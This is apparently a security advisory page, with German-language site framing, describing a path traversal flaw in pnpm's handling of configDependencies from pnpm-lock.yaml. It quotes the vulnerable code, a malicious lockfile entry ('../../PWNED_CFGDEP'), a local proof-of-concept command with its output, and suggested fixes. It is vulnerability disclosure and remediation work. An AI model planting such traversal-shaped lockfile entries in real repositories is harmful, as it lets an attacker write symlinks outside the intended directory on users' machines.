NetSight
hoch8.2Noch keine CVE

GHSA-qrv3-253h-g69c

pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config

Auswirkung

## Summary `pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`. A malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name. In local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory: ```text expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This works with `--ignore-scripts`, so it does not rely on lifecycle script execution. ## Vulnerable behavior The vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components. The relevant pattern is: ```ts const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config') for (const [pkgName, pkg] of Object.entries(normalizedDeps)) { const configDepPath = path.join(configModulesDir, pkgName) const pkgDirInGlobalVirtualStore = path.join( globalVirtualStoreDir, relPath, 'node_modules', pkgName ) await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath) } ``` If `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`. ## Impact A malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install. This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior. The issue is especially relevant because: * The malicious input is committed in `pnpm-lock.yaml`. * The issue is triggered during `pnpm install`. * It works with `--ignore-scripts`. * It occurs in the config dependency installation path, before ordinary dependency installation. * The user only needs to install a malicious or compromised repository. ## Local proof of concept The following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`. Command used: ```bash python3 ../pnpm_configdeps_path_traversal_poc.py \ --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \ --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log ``` Observed output: ```text [+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim [+] Local registry: http://127.0.0.1:36545/ [+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store [+] Malicious name: '../../PWNED_CFGDEP' [+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config [+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP [+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml [+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/ ``` pnpm output: ```text Installing config dependencies... Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0 Already up to date Done in 906ms using pnpm v11.5.1 ``` The PoC then detected the escaped symlink: ```text [+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP [VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP ``` ## Malicious lockfile structure The malicious input is an env-lockfile `configDependencies` key containing traversal components: ```yaml importers: .: configDependencies: legit-config-dep: specifier: '1.0.0' version: '1.0.0' '../../PWNED_CFGDEP': specifier: '1.0.0' version: '1.0.0' ``` pnpm accepts the traversal-shaped name and reports it as installed: ```text Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0 ``` ## Security boundary violation The intended config dependency root was: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config ``` But pnpm created: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked. ## Suggested remediation Validate every `configDependencies` key loaded from the env lockfile before using it as a package name or path component. Recommended fixes: 1. Reject env-lockfile `configDependencies` names that are not valid npm package names. 2. Reject names containing absolute paths, `.` components, `..` components, backslashes, or platform-specific path separators. 3. Use containment-checked path joining before creating symlinks: * resolve the final destination path, * verify it remains inside `node_modules/.pnpm-config`, * reject if it escapes. 4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile. 5. Intersect env-lockfile `configDependencies` with the effective `pnpm-workspace.yaml` `configDependencies` before installing, so extra lockfile-only entries are rejected. A safe destination check should enforce behavior equivalent to: ```ts const dest = path.resolve(configModulesDir, pkgName) if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) { throw new Error(`Invalid config dependency name: ${pkgName}`) } ``` Name validation should happen before this check, not instead of it.

Ein Angreifer kann die Lücke über das Netzwerk ausnutzen, ohne Anmeldung, allerdings muss ein Nutzer etwas tun, etwa eine Datei oder einen Link öffnen. Bei Erfolg: hohes Risiko, dass Daten oder Systeme verändert werden, geringes Risiko für Ausfälle. Der Angriff kann über die verwundbare Komponente hinaus wirken.

Betroffene Pakete

ÖkosystemPaketBetroffenBehoben in
npmpnpm< 10.34.410.34.4
npmpnpm>= 11.0.0, < 11.8.011.8.0

Schwachstellenklasse

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